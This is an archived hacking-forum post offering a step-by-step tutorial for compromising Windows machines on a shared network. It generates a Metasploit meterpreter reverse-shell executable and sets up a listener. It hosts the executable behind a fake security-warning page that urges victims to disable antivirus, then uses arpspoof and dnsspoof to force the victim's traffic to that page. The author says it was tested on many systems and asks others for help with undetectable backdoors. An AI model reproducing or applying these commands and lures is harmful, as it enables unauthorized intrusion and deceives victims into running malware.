+- Sinisterly (https://sinister.ly)
+-- Forum: Computers (https://sinister.ly/Forum-Computers)
+--- Forum: Operating Systems (https://sinister.ly/Forum-Operating-Systems)
+--- Thread: [Simple Metasploit Tut.] Executable payload + dnsspoof = pwned (/Thread-Simple-Metasploit-Tut-Executable-payload-dnsspoof-pwned)
[Simple Metasploit Tut.] Executable payload + dnsspoof = pwned - deathknight - 11-08-2011
EDIT: WOW!! JUST NOW I LEARNT THE EVIL JAVA APPLET METHOD.... EASIER AND FASTER AND MORE EFFECTIVE THAN THE METHOD MENTIONED BELOW!! GREATTTT!!!! BUT STILL, PLEASE HAVE A LOOK BELOW TOO.
May not be new to elite's present here.
But still wanted to share it. It is a bit long, but please have patience as I am sure that it wont disappoint you.So, here we go!!
OS used: BackTrack 5 R1
Victim OS I tried first: Windows XP SP3, up-to-date antivirus, not vulnerable to ms08_067_netapi.
But I am sure that this will work in all others too. Similar to Kait_Alex's pdf exploit.
Lets start by generating a payload ( using meterpreter, others can be used too):
msfpayload windows/meterpreter/reverse_tcp LHOST=yourip LPORT=31337 X > /root/payload.exe
This will genenrate a payload by the name payload.exe in your root directory. I will rename it to system32.exe. You may do it according to your wish.
Now fire up the msfconsole:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost yourip
set lport 31337
exploit
Now msfconsole will listen for a reverse conection. We need to send the payload to the victim and make him execute it. Here is the way I force him to do it. If your victim is a know-nothing-at-all but self-proclaimed-genius then he is likely to be pwned.
Copy the payload to /var/www/. Edit the index.html to something like this:
Serious Threat Detected In Your System, Please Do Not Ignore This. Click Here To Download Fix For The Threat blah blah blah blah And It Is recommended to disable your antivirus while downloading and installing the fix as it may cause problems.. blah blah blah...
Startup Apache if it hasnt already been started:
/etc/init.d/apache2 start
Now we need to redirect all the request of the victim to our apache server. For that:
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i wlan0 -t <victim ip> <router/gateway ip>
arpspoof -i wlan0 -t <router/gateway ip> <victim ip>
Will do you good if you create a text file for dnsspoof. and add this line:
yourip *
start dnsspoofing by:
dnsspoof -i wlan0 -f hostfile host <victimip> and udp port 53
Now, all the requests of the vicitim will be redirected to our localhost where a malicious webpage with payload is waiting. He may ignore this once-twice-thrice.. but after each his requests fails he will and must believe that he has some threat and will download the file.. which of course will be blocked by his AV, he will be again forced to disable his AV and run it. As soon as he runs it.... Game Over.
I have tested it in many systems, and it works fine. Only some people have restarted their AP, disconnected from network etc.
Will be better for us if we are able to create a proper backdoor. I am still trying to learn creating a proper backdoor that wont be detected by the victim. If anybody has good knowledge in this then I request you to share it.
Also, please do leave feedbacks. Positive as Well as Negative.. and also any improvements that can be done.
-DK
[size=medium]